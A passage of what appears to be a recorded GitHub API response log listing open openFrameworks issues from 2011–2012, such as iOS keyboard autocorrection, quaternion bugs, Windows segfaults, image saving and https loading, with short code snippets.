","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1303812,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","comments":0,"milestone":null,"number":684,"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-07-28T12:12:52Z","state":"open","user":{"url":"https://api.github.com/users/mcanet","gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","login":"mcanet","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":308759},"id":1302375,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","comments":0,"milestone":null,"number":679,"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","assignee":null,"title":"possible bug in getEuler / getOrientation / getRoll","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-24T18:26:54Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":1278252,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","comments":2,"milestone":null,"number":676,"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","assignee":null,"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-23T01:19:54Z","state":"open","user":{"url":"https://api.github.com/users/petersaints","gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","login":"petersaints","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157810},"id":1273716,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","comments":0,"milestone":null,"number":671,"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","assignee":null,"title":"isFile() segfaults on win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T11:27:16Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1262459,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","comments":2,"milestone":null,"number":670,"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","assignee":null,"title":"mouseReleased fires mouseMoved too (win7)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-21T09:34:52Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":1261982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4935'), ('content-length', '45016'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"c403779e3346f56dddb655b8bb57d5ae"'), ('date', 'Tue, 29 May 2012 19:27:18 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":666,"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iphone video player should use AVPlayer ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-07-20T20:01:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1258863,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","comments":5,"milestone":null,"number":652,"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","assignee":null,"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-15T18:49:46Z","state":"open","user":{"url":"https://api.github.com/users/bakercp","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","login":"bakercp","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":300484},"id":1231959,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","comments":4,"milestone":null,"number":651,"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","assignee":null,"title":"ofFBO + ofCamera = unwanted offset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2011-07-15T13:21:44Z","state":"open","user":{"url":"https://api.github.com/users/toxin20","gravatar_id":"29a3b85e704ec06a72df8897a726920e","login":"toxin20","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":123776},"id":1230184,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","comments":1,"milestone":null,"number":646,"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","assignee":null,"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2011-07-13T15:18:04Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":791114},"id":1216274,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","comments":0,"milestone":null,"number":645,"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","assignee":null,"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T16:05:23Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1209436,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","comments":1,"milestone":null,"number":643,"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","assignee":null,"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-07-12T13:05:25Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":1208289,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","comments":0,"milestone":null,"number":642,"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofxiPhone: Possible delayed input/touch event issue ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-12T02:46:23Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":1205789,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","comments":1,"milestone":null,"number":631,"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","assignee":null,"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-07T21:37:47Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1185346,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":623,"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","assignee":null,"title":"ofLoadURL() does not work with httpS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-06T18:12:06Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1175654,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","comments":0,"milestone":null,"number":618,"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","assignee":null,"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-07-05T18:23:34Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":1169032,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","comments":0,"milestone":null,"number":612,"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","assignee":null,"title":"need conversion ofMatrix3x3<->ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-06-27T18:30:26Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1124068,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","comments":4,"milestone":null,"number":605,"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","assignee":null,"title":"function wrapping glMultMatrixf in ofMatrix4x4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-16T13:13:35Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1067300,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL URLWithString:ofxStringToNSString(url)]];\r\n}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/603","comments":0,"milestone":null,"number":603,"html_url":"https://github.com/openframeworks/openFrameworks/issues/603","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"ofLaunchBrowser() for iPhone not implemented","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-06-13T13:03:15Z","state":"open","user":{"url":"https://api.github.com/users/mazbox","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","login":"mazbox","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":194121},"id":1048971,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T21:38:43Z","body":"OF: OF_LOG_ERROR: ofxNetwork:/addons/ofxNetwork/src/ofxTCPManager.cpp: 157 ECONNREFUSED: the server has actively refused to establish the 